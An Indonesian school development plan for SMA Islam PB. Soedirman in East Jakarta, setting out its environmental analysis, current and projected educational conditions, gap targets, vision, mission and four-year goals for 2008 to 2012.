You are on page 1of 14

RAPBS

RENCANA PENGEMBANGAN SEKOLAH (RPS)

I. RENCANA STRATEGIS (4 TAHUNAN) SEKOLAH A. ANALISIS LINGKUNGAN STRATEGIS SEKOLAH SMA Islam PB. Soedirman didirikan pada tahun 1971, sekarang menjadi salah satu SMA rintisan sekolah kategori mandiri (SKM) di DKI Jakarta.. SMA Islam PB. Soedirman terletak di daerah yang sangat strategis tentu banyak faktorfaktor eksternal yang mempengaruhi penyelenggaraan pendidikan di sekolah tersebut. Faktor-faktor tersebut adalah: SMA Islam PB. Soedirman berlokasi di tempat yang sangat strategis di Jalan Raya Bogor Km. 24 Cijantung Jakarta Timur. Faktor lainnya adalah kondisi sosial masyarakat di sekitar sekolah yang sangat heterogen, yang terdiri atas masyarakat bawah, menengah dan menengah atas. Masyarakat yang bertempat tinggal di sekitar SMA Islam PB. Soedirman pada umumnya terdiri atas: pegawai, tentara, pengusaha, pedagang, buruh, wirasawasta dan ada pula yang tidak memiliki pekerjaan (pengangguran akibat PHK, dll ). Namun demikian perhatian dan kemauan masyarakat untuk menyekolahkan putra putrinya di SMA Islam PB. Soedirman sangat tinggi, hal ini banyak dipengaruhi oleh semakin intensifnya perbaikan mutu pembelajaran, dan juga dipengaruhi oleh semakin banyak tamatan SMA Islam PB. Soedirman diterima Perguruan Tinggi Negeri dan Perguruan Tinggi Sewasta Ternama. Sejalan dengan adanya perbaikan program pembelajaran dan diterimanya tamatan SMA Islam PB. Soedirman di Perguruan Tinggi Negeri dan Perguruan Tinggi Sewasta ternama, maka guru-guru dan orang tua siswa (yang tergabung dalam Komite Sekolah) serta mayarakat yang peduli pendidikan duduk bersama membicarakan dan membuat program peningkatan mutu program pembelajaran di SMA Islam PB. Soedirman agar kualitas tamatan setiap tahun semakin meningkat dan diterima di perguruan tinggi yang baik semakin meningkat. Secara garis besar analisis lingkungan strategis SMA Islam PB. Soedirman dapat dijelaskan sebagai berikut: 1. kemampuan akademik peserta didik (input) memiliki standar akademik yang kurang baik; 2. status sosial ekonomi orang tuanya cukup mendukung; 3. pendidikan orang tuanya mulai SMA S3; 4. lingkungannya kondusif karena berada dalam kompleks pendidikan; 5. tenaga pendidik dengan kualifikasi standar, yaitu berpendidikan S1 bahkan S2; 6. tenaga kependidikan yang standar, yaitu minimal berpendidikan SMA atau sederajat; 6. MBS dilaksanakan secara profesional sejak tahun 2004; 7. KBK dan CTL dilaksanakan dalam proses pembelajaran sejak tahun pelajaran

2004/2005; 8. KTSP dilaksanakan sejak tahun 2006/2007, dan akan meluluskan untuk angkatan yang ke-3; 9. memiliki sarana dan prasarana yang standar dan lengkap, 10. serta memiliki out-put lulusan yang dapat diterima pada Perguruan Tinggi Negeri dan Perguruan Tinggi Swasta yang ternama.

B. ANALISIS KONDISI PENDIDIKAN SAAT INI Kondisi pendidikan di SMA Islam PB. Soedirman pada saat ini menurut tolok ukur standar sekolah kategori mandiri (SKM), dapat digambarkan sebagai berikut : 1. Pemerataan kesempatan Peserta didik yang belajar di SMA Islam PB. Soedirman tidak seluruhnya berasal dari orang tua ekonomi yang mampu, oleh karena itu badan zakat infaq dan shadakah (BAZIS) SMA Islam PB. Soedirman meningkatkan perannya untuk membantu peserta didik yang ekonomi orang tua peserta didik yang kurang mampu khususnya dalam pembiayaan pendidikan selama 3 tahun. Pada prinsipnya seluruh peserta didik yang belajar di SMA Islam PB. Soedirman tidak ada drop-out disebakan ekonomi orang tua peserta didik kurang / tidak mampu membiayai pendidikan. Peran komite sekolah dalam mewujudkan pemerataan pendidikan dan peningkatan mutu pendidikan sangat besar dan dirasakan oleh siswa yang ekonomi orang tua peserta didik kurang mampu, karena kumite sekolah berperan dan membantu pembiayaan pendidikan melalui subsidi silang khususnya bagi peserta didik yang kurang mampu. Disamping itu juga SMA Islam PB. Soedirman mendapat bantuan bea siswa dari pemerintah bagi peserta didik yang kurang mampu dan peserta didik yang berprestasi. Melalui peran badan zakat infaq shadaqah (BAZIS), komite sekolah dan bea siswa dari pemerintah peserta didik yang kurang mampu dapat meneruskan belajar di SMA Islam PB. Selama 3 tahun Soedirman 100 %, sedangkan yang drop-out 0 %. Meskipun kemampuan ekonomi orang tua peserta didik tidak sama, akan tetapi peserta didik yang tamat dari SMA Islam PB. Soedirman diterima perguruan tinggi negeri dan perguruan tinggi sewasta ternama 98 % dan ke dunia kerja 2 %. 2. Peningkatan Kualitas Hakikat pendidikan adalah suatu proses pembelajaran yang menuju perubahan positif dari tidak yang tidak paham menjadi paham, dari tidak mampu melakukan sesuatu menjadi mampu melakukan sesuatu. Pendidikan itu dapat berkualitas jika proses pembelajaran dapat menciptakan perubahan positif dan bertahap menuju peningkatan kualitas, dari input yang rendah menjadi output yang meningkat. Untuk meningkatkan kualitas harus ditempuh melalui standar-standar, mulai dari standar isi, standar kelulusan, standar tenaga pendidik dan standar kependidikan, standar sarana prasarana, standar proses, standar pengelolaan, standar pembiayaan, dan standar penilaian.

Standar kelulusan, dalam rangka merealisasikan standar kelulusan, SMA Islam PB Soedirman menetapkan standar kelulusan minimal 75 % keberhasilan setiap mata pelajaran. Dalam rangka pencapaian SKL tersebut diukur melalui ujian-ujian (tes-tes) dalam bentuk ujian berjenjang satu kali ujian dalam satu bulan(ujian blok), setiap materi pembelajaran seluruh mata pelajaran diuji minimal satu kali dalam satu bulan, setiap materi pembelajaran harus lulus (75%). Jika peserta didik belum lulus yang bersangkutan harus mengikuti program remedial sampai lulus, dan jika belum lulus juga yang bersangkutan tidak berhak mengikuti ujian yang ke dua (ujian blok 2) begitu juga ujian yang ke 3, 4, 5, 6, 7 dan ke 8. Jika peserta didik yang belum tuntas diwajibkan mengikuti program pembelajaran klinik mata pelajaran. Melalui system ujian berjenjang (ujian blok) ini peserta didik diharapkan termotivasi untuk berkompetisi mendapatkan nilai ujian yang maksimal / yang lebih tinggi. Standar isi, sebelum peserta didik memasuki program pembelajaran harus dites kemampuan akademik masing-masing untuk mengetahui kemmampuan setiap peserta didik, apakah peserta didik sudah sesuai dengan standar isi yang ditetapkan atau kemampuannya belum memenuhi standar. Jika kemampuan setiap siswa sudah memenuhi standar isi, program pembelajaran dapat dilanjutkan, akan tetapi jika peserta didik masih di bawah standar isi, peserta didik diwajibkan mengikuti program pembelajaran matrikulasi / pengayaan atau pendalaman materi (PM) guna menyamakan kemampuan peserta didik dalam mengikuti program pembelajaran yang sesuai dengan standar isi. Standar proses, dalam memahami materi pembelajaran, kemampuan peserta didik pasti berbeda-beda, ada yang merasa sukar, ada yang merasa sedang dan ada yang merasa mudah. Dalam hal merealisasikan standar isi tersebut, seluruh program pembelajaran diprogramkan berdasarkan kemampuan setiap siswa (student centre). Peserta didik dikelompokkan berdasarkan kemampuan. Jika materi pembelajaran dianggap sulit, dan peserta didik sangat sulit memahami / menyerap materi pembelajaran, peserta didik dikelompokkan menjadi kelompok kecil (satu kelompok 3 orang sampai dengan 6 orang) dan dibimbing oleh seorang guru guna memudahkan bagi setiap guru mengelola, membimbing dan melatih kemampuan setiap siswa. Jika peserta didik lebih mudah memahami / menyerap materi pembelajaran, peserta didik dikelompokkan dalam kelompok besar (satu kelompok 7 orang sampai 15 orang) dan dibimbing oleh seorang guru guna memudahkan bagi setiap guru mengelola, membimbing dan melatih kemampuan setiap siswa. Standar pendidik dan kependidkan, kemajuan ilmu pengetahuan dan teknologi saat ini sangat pesat dan cepat, perkembangat tersebut harus diantisipasi , setiap pendidik dan tenaga kependidikan harus ditingkatkan kemampuannya melalui pendidikan di perguruan tinggi dan meningkatkan keterampilan melalui pelatihan dan work shop. Tenaga pendidik saat ini di SMA Islam PB Soedirman berjumlah 46 orang, pendidkan S-2 dua(2) orang, yang masih pendidikan S-2 empat (4) orang, S-I empat puluh (40) orang. Tenaga kependidkan saat ini 15 orang, S-1 empat (4) orang, yang masih sedang pendidikan S-1 dua (2) orang, SMA tiga (3) orang dan SMP lima (5) orang. Keterampilan tenaga

pendidik dan tenaga kependidikan dilatih melalui pelatihan dan work shop. Dalam rangka meningkatkan kualitas pendidik dan kependidikan di SMA Islam PB Soedirman secara bertahap ditngkatkan melalui pendidikan S-1 menjadi S-2. Standar sarana / prasarana, dalam rangka meningkatkan kenyamanan belajar bagi peserta didik seluruh ruangan dipasang AC , dalam rangka meningkatkan kualitas pembelajaran dipasang disetiap ruangan computer, LCD, dan internet. Dalam rangka mendalami materi pembelajaran disediakan Lab fisika, lab kimia, lab biologi, lab computer, lab bahasa, audio visual dan lab matematika. Dalam rangka meningkatkan kesehata pesertan didik disediakan sarana olah raga dan UKS yang bekerja sama dengan polik linik Yasma PB Soedirman. Dan peningkatan ketakwaan kepa Tuhan Yang Maha Esa disediakan Masjid dan pembinaan keagamaan. Standar pengelolaan, SMA Islam PB Soedirman dikelola berdasarkan manajemen berbasis sekolah (MBS) yang beroriantasi kepada kualitas lulusan. Struktur organisasi dalam Manajemen SMA Islam PB Soedirman Kepala Sekolah di Bantu oleh Wakil Kepala Sekolah Bidang Kurikulum, Wakil Kepala Sekolah Bidang Kesiswaan dan Wakil Kepala Sekolah Bidang Sarana. Pengelolaan manajemen pembelajaran Wakil Kepala Sekolah Bidang Kurikulum dibantu oleh staf ahli(sesuai kebutuhan). Pengelolaan pmanajemen kesisiswaan Wakil Kepala Sekolah Bidang Kesiswaan dibantu oleh Pembina siswa (sesuai kebutuhan). Dan pengelolaan manajemen sarana Wakil Kepala Sekolah Bidang Sarana & Prasarana dibantu oleh karyawan (sesuakebutuhan). Dalam rangka mengwujudkan keberhasilan pengelolaan manajemen SMA Islam PB Soedirman dirumuskan dan ditetapkan Program kerja jangka panjang(4 tahun) dan program kerja jangka pendek.(satu tahun). Program kerja sekolah tersebut direncanakan bersama-sama dengan guru-guru, karyawan, orang tua peserta didik / komite sekolah dan masyarakat yang penduli pendidikan. Standar pembiayaan, SMA Islam PB Soedirman salah satu SMA Swasta pembiayaannya murni dari orang tua peserta didik / komite sekolah. Besar biaya ditaksir berdasarkan kegiatan yang diprogramkan sekolah, lalun dimusyawarahkan dengan orang tua peserta didik / komite sekolah. Setelah jumlah biaya operasional ditentukan bersama orang tua peserta didik / komite sekolah lalu kepala sekolah, guru-guru dan karyawan-karyawan melaksanakan program kerja sekolah. Disamping pembiayaan yang diperoleh dari orang tu peserta didik, ada juga dana yang masuk dari pemerintah akan tetapi sifatnya temporer. Standar penilaian, SMA Islam PB Soedirman dalam standar kelulusan mengikuti keputusan pemerintah melalui Keputusan Menteri Pendidikan Nasional. Proses penilaian di SMA Islam PB Soedirman ditentukan berdasarkan musyawarah guru-guru dan kepala sekolah, musyawarah tersebut menentukan standar nilai setiap mata pelajaran berdasarkan kemampuan akademik setiap siswa, standar proses, dukungan standar sarna & prasarana, standar pendidik dan standar pembiayaan. Kreteria Ketuntasan Minimal (KKM) setiap mata pelajaran ditetapkan minimal 75, setiap peserta didik wajib mencapai kriteria tersebut. Jika tidak tercapai guru mata pelajaran

wajib membuat program remidial dan melaksanakan remidial dengan waktu yang ditentukan. Jika masih ada peserta didik yang belum tuntas pada waktu yang ditentukan Kepala Sekolah bersama guru mata pelajaran membuat program penuntasan belajar atau klinik mata pelajaran untuk melayani peserta didik sampai tuntas 100 %. 3. Peningkatan Efisiensi Efisiensi merujuk pada hasil yang maksimal dengan biaya yang wajar. Efisiensi pendidikan di SMA Islam PB. Soedirman dapat diperoleh gambarannya dari upaya-upaya mengidealkan antara: (1) rasio output dengan input siswa; (2) rasio ketidakhadiran dengan kehadiran; (3) rasio kenaikan kelas/transisi dengan mengulang/tinggal kelas; (4) rasio melanjutkan dengan putus/tidak melanjutkan; dan (5) rasio kelulusan dengan ketidak lulusan. 4. Peningkatan Relevansi Relevansi merujuk pada kesesuaian hasil pendidikan dengan kebutuhan (needs) di lapangan, baik kebutuhan peserta didik, kebutuhan keluarga, dan kebutuhan pembangunan yang meliputi berbagai sektor. Pembekalan peserta didik SMA Islam PB. Soedirman dengan berbagai ilmu pengetahuan, teknologi, keterampilan hidup, pengembangan diri, dan nilai-nilai hidup yang religius adalah bagian dari usaha kesesuaian antara proses pendidikan dengan hasil pendidikan yang dibutuhkan keluarga dan masyarakat. Sehingga peserta didik mampu melaksanakan kehidupannya setelah lulus dengan rasa percaya diri, beraqidah, berakhlaq mulia, tangguh, beramal shaleh, dan mampu bersaing. 5. Pengembangan Kapasitas. Pengembangan kapasitas sekolah adalah upaya-upaya yang dilakukan dan dikembangan secara sistemik untuk menyiapkan kapasitas sumberdaya sekola, pengembangan lembaga sekolah, pengembangan manajemen sekolah, dan pengembangan sistem sekolah yang benar-benar mampu menjalankan tugas pokok dan fungsinya sehinga tercipta kondisi sekolah yang good governance, sustainabel dan accountable. C. ANALISIS KONDISI PENDIDIKAN MASA DATANG (4 TAHUN KE DEPAN) Setelah SMA Islam PB Soedirman menjadi Sekolah Kategori Mandiri (SKM), sistem pembelajaran berubah sistem kelas menjadi Sistem Kredit Demester (SKS), terjadi perubahan yang sangat mendasar. Analisis Kondisi Pendidikan di SMA Islam PB. Soedirman dalam kurun waktu 5 (lima) tahun yang akan datang, adalah sebagai berikut : 1. Pemerataan kesempatan Dalam upaya pemerataan kesempatan belajar, diharapkan hal-hal berikut ini: a. Terjadinya kerjasanma yang produktif dan menguntungkan dengan pihakpihak penyandang dana baik secara rutin, berkala maupun insidental. b. Terselanggaranya penggalangan partisipasi masyarakat melalui pemberdayaan komite sekolah di berbgai bidang secara optimal c. Semua peserta didik yang berprestasi mendapat kesempatan untuk menyelesaikan pendidikan di SMA Islam PB Soedirman 2,5 tahun. d. Terjadinya kerja sama yang efektif dan efisien dengan para Alumni dalam

menciptakan harmonisasi hubungan dalam upaya penggalangan dana. 2. Kualitas dan Relevansi Dalam upaya peningkatan kualitas dan relevansi pendidikan, diharapkan hal-hal berikut ini: a. Terwujudnya kondisi input peserta didik dengan Nilai Ujian Nasional dari SMP yang tinggi melalui sistem seleksi yang akuntable. b. Terdapat peningkatan jumlah tenaga pendidik dan kependidikan yang memiliki kompetensi, kualifikasi dan sertifikasi yang sesuai dengan bidangnya. c. Seluruh ruangan belajar didesain menjadi bernuansa mata pelajaran (ruangan belajar matematika, ruangan belajar, fisika, ruangan belajar kimia, ruangan belajar biologi, ruangan belajar geografi, ruangan belajar ekonomi, ruangan belajar IPS). d. Terdapat peningkatan kualitas sarana dan prasarana pembelajaran (Perpustakaan, Laboratorium Matematika, Laboratorium Fisika Laboratorium Kimia, Laboratorium IPS, Laboratorium Komputer, Laboratorium Bahasa, Ruangan Bealar dilengkapi LCD dan IT ) sesuai dengan kemajuan teknologi dan era globalisasi. e. Tercapainya kondisi rasio guru dengan siswa dan beban mengajar guru yang ideal dan stabil dari tahun ke tahun melalui rekrutmen guru baru di saat ada guru atau TU yang pensiun. f. Terciptanya kondisi pembelajaran yang kondusif, aman, nyaman, menyenangkan dan menantang. g. Pelaksanan kurikulum yang berbasis kompetensi sesuai dengan standar nasional pendidikan (SNP) h. Tersedianya perangkat pembelajaran secara lengkap, baik kalender pendidikan, pemetaan SK/KD, silabus, rencana pelaksanaan pembelajaran dan sebagainya yang dibutuhkan oleh tenaga guru. i. Terinovasinya pengelolan kelas dan pembelajaran, baik oleh guru mata pelajaran maupun wali kelas. j. Terlaksananya strategi pembelajaran dengan model dan pendekatan Contextual Teaching and Learning (CTL) pada semua mata pelajaran dan jenjang kelas. k. Tersiapkannya perangkat penilaian yang beragam dari semua mata pelajaran, untuk semua jenjang kelas. l. Teroperasionalkannya berbagai model penilaian, baik penilaian proses, blok, porto folio, remedial dan pengayaan, akhir semester maupun akhir satuan pendidikan. m. Terdokumentasikannya bank soal dari semua mata pelajaran, untuk semua jenjang kelas. n. Terselenggarakannya berbagai macam lomba, uji coba, olimpiade, dan sebagainya untuk meningkatkan prestasi peserta didik. o. Meningkatnya prestasi akademik maupun non akademik pada tiap tahunnya. p. Tersedianya jaringan internet untuk peserta didik dan penambahan jaringan komputernya dari tahun ke tahun. q. Terciptanya usaha usaha sekolah untuk meningkatkan income generating activities, melalui pemberdayaan sarana sekolah, maupun menjalin kerja sama yang saling menguntungkan dengan pihak pengusaha. r. Terkelolanya unit unit produksi / usaha usaha kecil disekolah melalui optimalisasi fungsi Koperasi sekolah, Kantin sekolah, Wartel sekolah dengan melibatkan para siswa

untuk memanfaatkan fasilitas secara optimal. s. Teroperasionalkannya kurikulum berbasis kecakapan hidup satuan pendidikan berbasis kompetensi melalui pembiasaan dan program pengembangan diri. 3. Efisiensi. Dalam upaya peningkatan efisiensi pendidikan, diharapkan hal-hal berikut ini: a. Terwujudnya kondisi prosentase angka putus sekolah yang selalu nol persen (0%). b. Terwujudnya kondisi prosentasi angka tinggal kelas selalu nol persen (0%) c. Terwujudnya kesadaran, melanjutkan ke perguruan tinggi negeri dan perguruan sewasta hingga mencapai 100 % d. Tercapainya kondisi rasio yang ideal antara input dengan output siswa yang signifikan. e. Tercapainya kondisi rasio yang ideal antara kehadiran dan ketidakhadiran peserta didik dalam mengikuti pembelajaran dan kehadiran guru-guru dalam proses pembelajaran. f. Tercapainya kondisi Gain Score Achcievement (GSA) yang ideal pada setiap akhir semester atau akhir tahun terhadap ketuntasan kompetensi pembelajaran g. Tercapainya GSA yang ideal pada akhir tahun pelajaran pada mata pelajaran yang diUNkan. h. Terciptanya kondisi rasio ideal antara yang tidak melanjutkan dengan yang melanjutkan ke perguruan tinggi. 4. Good Governance dan Pencitraan publik Dalam upaya mewujudkan good governance dan pencitraan publik, diharapkan hal-hal berikut ini: a. Melakukan koordinasi dan sinkronisasi program sekolah dalam perencanaan, implementasi, evaluasi dan tindaklanjut program. b. Meningkatkan kapasitas institusi dan pelaksanaan program sekolah. c. Meningkatkan mutu pelaksanaan MONEV dan memanfaatkan hasil-hasil MONEV d. Mengedepankan pengelolaan pendidikan yang berpihak pada masyarakat. e. Meningkatkan mutu manajemen dan data informasi pendidikan f. Meningkatkan mutu pendidikan melalui program tahunan yang komperhensip dan terarah. g. Meningkatkan efisiensi manajemen pendayagunaan sumberdaya pendidikan dan pengupayaan agar tenaga pendidikan dan kependidikan dapat melaksanakan tugas secara efektif dan efisien.

5. Kapasitas. Dalam upaya peningkatan kapasitas pendidikan, diharapkan hal-hal berikut ini: a. Terdokumentasikannya pengembangan dan pendayagunaan sumberdaya manusia ( SDM ) sekolah dengan cara membuat uraian tugas pokok dan fungsi sebagai pedoman dalam melaksankan tugas-tugasnya. b. Terlaksannya kepemimpinan kapala sekolah yang bercirikan sebagai pemimpin (leader) yang transparantif dan profesional. c. Terciptanya jaringan kerja yang efisien dan efektif, baik secara vertikal maupun horisontal.

d. Terlaksannya berbagai model pengembangan manajemen sekolah. e. Terdokumentasikannya berbagai laporan ke berbagai pihak, baik yang menyangkut bidang akademik maupun non akademik secara baik dan benar. f. Terdokumentasikannya Rencana Pengembangan Sekolah (RPS), baik lima tahunan maupun satu tahunan. g. Tersedianya struktur keorganisasian sekolah sesuai dengan kebutuhan, beserta uraian tugas pokok dan fungsinya sebagai pedoman kerja. h. Terlaksananya pembelajaran yang efisien dan efektif dengan dibuktikan oleh prestasi yang optimal dari kerja keras para guru dan para peserta didiknya. i. Terselenggarakannya Monitoring dan Evaluasi (Monev) terhadap kinerja sekolah pada umumnya untuk setiap 4 bulan sekali atau setiap bulan dalam setahunnya. j. Terselenggarakannya Monitoring dan evluasi terhadap guru dan karyawan pada setiap tahunnya minimal 2 kali . k. Terselenggarakannya supervisi klinis khususnya terhadap guru yang mengalami kesulitan. l. Terimplementasikannya Manajemen Berbasis Sekolah yang otonom, partisipatif, transparan, dan akuntable baik dalam perencanaan, pelaksanan, Monitoring, evaluasi, dan pelaporan dari semua program. D. IDENTIFIKASI TANTANGAN NYATA (KESENJANGAN KONDISI ) ANTARA 5 TAHUN KE DEPAN DENGAN KONDISI NYATA PENDIDIKAN SAAT INI Identifikasi tantangan nyata (kesenjangan kondisi) antara 4 tahun ke depan dengan kondisi nyata pendidikan saat ini berdasarkan pada aspek pemerataan, kualitas, relevansi, efisiensi, dan kapasitas sekolah adalah sebagai berikut: No Kondisi saat ini Kondisi yang diharapkan ( empat tahun ke depan ) Besarnya Tantangan Nyata 1 Pemerataan kesempatan: Pemerataan kesempatan: a. Terdapat 3 % peserta didik kurang mampu sudah mendapatkan bantuan pendidikan a. Terdapat 0% peserta didik kurang mampu mendapatkan bantuan pendidikan 3 % b. Terdapat 2 % tamatan SMA Islam PBS yang tidak melanjutkan ke perguruan tinggi. c. Terdapat 0 % tamatan SMA Islam PBS yang tidak melanjutkan ke perguruan tinggi. 2 % 2 Kualitas pendidikan dan Relevansi Kualitas pendidikan dan Relevansi Kurikulum 97 sudah memenuhi standar nasional pendidikan (SNP). a. Kurikulum 100% memenuhi standar nasional pendidikan (perangkat pembelajaran sudah disusun untuk kelas 10-12 semua mapel) 5 % a. Proses pembelajaran 85 memenuhi standar nasional pendidikan, yaitu guru melaksanakan CTL b. Proses pembelajaran sudah memenuhi standar nasional pendidikan, yaitu 100% guru melaksanakan CTL 15 % b. Prestasi akademik lulusan belum memenuhi standar nasional pendidikan (KKM di atas 7,5 dan NUAN 7,32) c. Prestasi akademik lulusan sudah memenuhi standar nasional pendidikan (KKM 7,5 dan NUAN 7,5) KKM : 0.0 NUAN: 0.18 c. Pendidik dan tenaga kependidikan terdapat 100% memenuhi standar nasional

pendidikan d. Pendidik dan tenaga kependidikan terdapat 100% sudah memenuhi standar nasional pendidikan 0.0 % d. Prasarana, sarana, media pembelajaran, bahan ajar, sumber belajar terdapat rata-rata 97 memenuhi standar nasional pendidikan e. Prasarana, sarana, media pembelajaran, bahan ajar, sumber belajar 100% memenuhi standar nasional pendidikan 3 % e. Fungsi-fungsi pengelolaan sekolah 95% memenuhi standar nasional pendidikan f. Fungsi-fungsi pengelolaan sekolah 100% memenuhi standar nasional pendidikan 5 % f. Standar pembiayaan 350000-360000 rupiah per bulan per anak) g. Standar pembiayaan 300.000 500.000 rupiah per bulan per anak) 30% g. Guru dan sekolah 95% melaksanakan sistem penilaian sesuai dengan tuntutan kurikulum atau standar nasional pendidikan h. Guru dan sekolah 100% melaksanakan sistem penilaian sesuai dengan tuntutan kurikulum atau standar nasional pendidikan 5% h. Pelayanan bakat minat siswa belum terpenuhi (baru 80%) i. Pelayanan bakat minat siswa 100% terpenuhi 20% i. Kesesuaian Program muatan lokal dengan kondisi daerah/masyarakat 80% j. Kesesuaian Program muatan lokal dengan kondisi daerah/masyarakat 100% 20% j. Pengembangan kurikulum terhadap tuntutan daerah/masyarakat/peserta didik 90% terpenuhi k. Pengembangan kurikulum terhadap tuntutan daerah/masyarakat/peserta didik 100% terpenuhi 10% 3 Efisiensi: Efisiensi: a. Ratio kelulusan dengan masukan siswa (rata-rata kelulusan 96%) a. Ratio kelulusan dengan masukan siswa (rata-rata kelulusan 100%) 4 % b. Alumni yang tidak melanjutkan ke perguruan tinggi 2% b. Alumni yang tidak melanjutkan ke perguruan tinggi 0% 2% 4 Good governace & Pencintraan publik a. Tingkat kepercayaan masyarakat terhadap sekolah 95% a. Tingkat kepercayaan masyarakat terhadap sekolah 100% 5% b. Daya dukung masyarakat terhadap pengelolaan sekolah 90% b. Daya dukung masyarakat terhadap pengelolaan sekolah 100% 10% c. Partisifasi masyarakat terhadap program sekolah 90% c. Partisifasi masyarakat terhadap program sekolah 100% 10% 5 Pengembangan kapasitas: Pengembangan kapasitas: 1. Kemampuan manajerial rata-rata 90% a. Kemampuan manajerial rata-rata tinggi (100%) 10% 2. 90% fungsi-fungsi manajemen berjalan secara baik b. Berfungsinya fungsi-fungsi manajemen 100% 10% E. VISI SEKOLAH V i s i : Menjadikan SMA Islam PB Soedirman memiliki keunggulan kompetitif dibidang Imtaq dan Iptek yang berwawasan global. Visi ini ditentukan dengan tujuan untuk jangka panjang, jangka menengah dan jangka pendek. Visi ini mewadahi seluruh kepentingan warga sekolah untuk mewujudkannya cita-cita yang harus dicapai warga sekolah, orang tua siswa dan masyarakat.

Visi tersebut mencerminkan profil dan cita-cita sekolah yang: a. prilaku sesuai dengan norma Islam dalam pergaulan atau dalam kehidupan sehari-hari. b. berorientasi ke perkembangan kemajuan ilmu pengetahuan dan teknologi. c. ingin mencapai kemajuan dan keunggulan yang kompetitif d. membangun semangat dan komitmen seluruh warga sekolah e. mendorong adanya perubahan yang lebih baik f. menentukan langkah-langkah strategis sekolah Adapun indikator untuk mencapai visi tersebut adalah sebagai berikut: 1. Ungggul dalam pengembangan IMTAQ 2. Unggul dalam pengembangan kurikulum 3. Ungggul dalam proses pembelajaran 4. Ungggul dalam pelayanan individual 5. Ungggul dalam sarana prasarana pendidikan 6. Ungggul dalam media pembelajaran 7. Ungggul dalam SDM pendidikan 8. Ungggul dalam kelembagaan sekolah 9. Ungggul dalam manajemen sekolah 10. Ungggul dalam penggalangan pembiayaan pendidikan 11. Ungggul dalam prestasi akademik 12. Ungggul dalam prestasi non-akademik, dan Untuk mencapai visi tersebut, perlu dilakukan suatu misi berupa kegiatan jangka panjang, menegah dan pendek dengan arah yang jelas. Berikut ini merupakan misi yang dirumuskan berdasarkan visi di atas. F. MISI SEKOLAH Misi : SMA Islam PB. Soedirman, Cijantung Jakarta Timur, memiliki misi sebagai berikut:. 1. Mengintegrasikan seluruh materi pembelajaran dengan Ayat-ayat Alquran dan Alhadits guna membina prilaku ke-Islaman dalam kehidupan sehari-hari; 2. Melaksanakan kurikulum berdiferensiasi yang beroriantasi kepada kompetensi setiap peserta didik (student Centre); 3. Mendesain seluruh proses pembelajaran berbasis pada teknologi, IT dan ICT; 4. Melaksanakan kurikulum khusus penuntasan belajar melalui program matrikulasi, pengayaan materi pembelajaran dan klinik pembelajaran bagi peserta didik yang mengalami kesulitan belajar; 5. Melaksanakan sistim pembelajaran dengan sistim kredit semester dan moving kelas; 6. Meningkatkan kompetensi peserta didik dalam rangka menempuh Ujian Masuk / Seleksi Perguruan Tinggi. Dalam melaksanakan kegiatan sehari-hari, kami selalu menumbuhkan disiplin sesuai aturan bidang kerja masing-masing, saling menghormati dan saling percaya serta tetap

menjaga hubungan kerja yang harmonis dengan berdasarkan pelayanan prima, kerjasama, dan shilaturrahim. Penjabaran misi di atas meliputi: 1. Melaksanakan proses pembelajaran yang mengterintegrasikan Alquran & Alhadits dengan seluruh materi pembelajaran dengan tujuan membentuk kepribadian peserta didik dengan nilai-nilai ke-Islaman; 2. Melaksanakan pembelajaran sesuai dengan tingkat kemampuan siswa dan mengelompokkan siswa berdasarkan kemampuan peserta didik dan dibimbing oleh guru (satu guru satu kelompok) sehingga setiap peserta didik berkembang secara optimal, sesuai dengan bakat dan potensi yang dimiliki; 3. Mendesain seluruh proses pembelajaran berbasis kepada teknologi yang berhubungan dengan materi pembelajaran dan mendesain kelas bernuansa mata pelajaran yang ditunjang dengan IT/ICT; 4. Menganalisis kemampuan peserta didik sebelum proses pembelajaran dimulai, jika peserta didik belum dapat mengikuti proses pembelajaran berdasarkan standar isi, peserta didik wajib mengikuti program matrikulasi, pengayaan materi dan klinik penuntasan pembelajaran; 5. Melaksanakan pembelajaran dengan sistem kredit semester (SKS) dan moving kelas sesuai dengan predikat / Posisi SMA Islam PB Soedirman pada masa 4 tahun yang akan datang. Melalui sistem kredit semester ini (SKS) ini peserta didik lebih semangat dan dimungkinkan tamat lebih cepat (2,5 tahun) dari SMA Islam PB Soedirman; 6. Mempersiapkan seluruh peserta didik dan melatih kemampuan menempuh ujian masuk perguruan tinggi, melalui hasil analisis materi ujian seleksi penerimaan mahasiswa di perguruan tinggi; G. TUJUAN SEKOLAH DALAM 4 TAHUN Tujuan SMA Islam PB. Soedirman dalam 5 tahun ke depan (tahun pelajaran 2008/2009 s.d. 2011/2012) adalah : 1. Menghasilkan pencapaian standar kompetensi kelulusan meliputi: pengembangan program SKL, perluasan dan pendalaman cakupan SKL nasional, dan dokumen SKL yang lengkap. 2. Menghasilkan pencapaian standar isi (kurikulum) meliputi: program-program pengembangan kurikulum nasional, penyusunan SK, KD, Silabus, RPP, dan Indikator indikatornya. 3. Menghasilkan pencapaian standar proses pembelajaran meliputi: model atau metode pembelajaran dan strategi pembelajaran berbasis ICT serta proses pembelajaran inovatif dan bermakna. 4. Menghasilkan pencapaian standar pendidik dan kependidikan meliputi: SDM yang kompeten dan berkualifikasi pendidik serta jumlahnya yang sesuai tuntutan. 5. Menghasilkan pencapaian standar sarana dan prasarana meliputi: pengembangan fasilitas sekolah berstandar nasional, terpenuhinya fasilitas pokok dan fasilitas pendukung berstandar nasional. 6. Menghasilkan pencapaian standar pengelolaan meliputi: model-model manajemen sesuai MBS. 7. Menghasilkan pencapaian standar pembiayaan meliputi: sumber-sumber pembiayaan

penyelenggaraan pendidikan dan penggalangan dana berstandar nasional per-anak pertahun. 8. Menghasilkan pencapaian standar penilaian meliputi: standar penilaian dalam berbagai bidang pelajaran, model penilaian sesuai tuntutan kurikulum dan dokumen penilaian berstandar nasional.

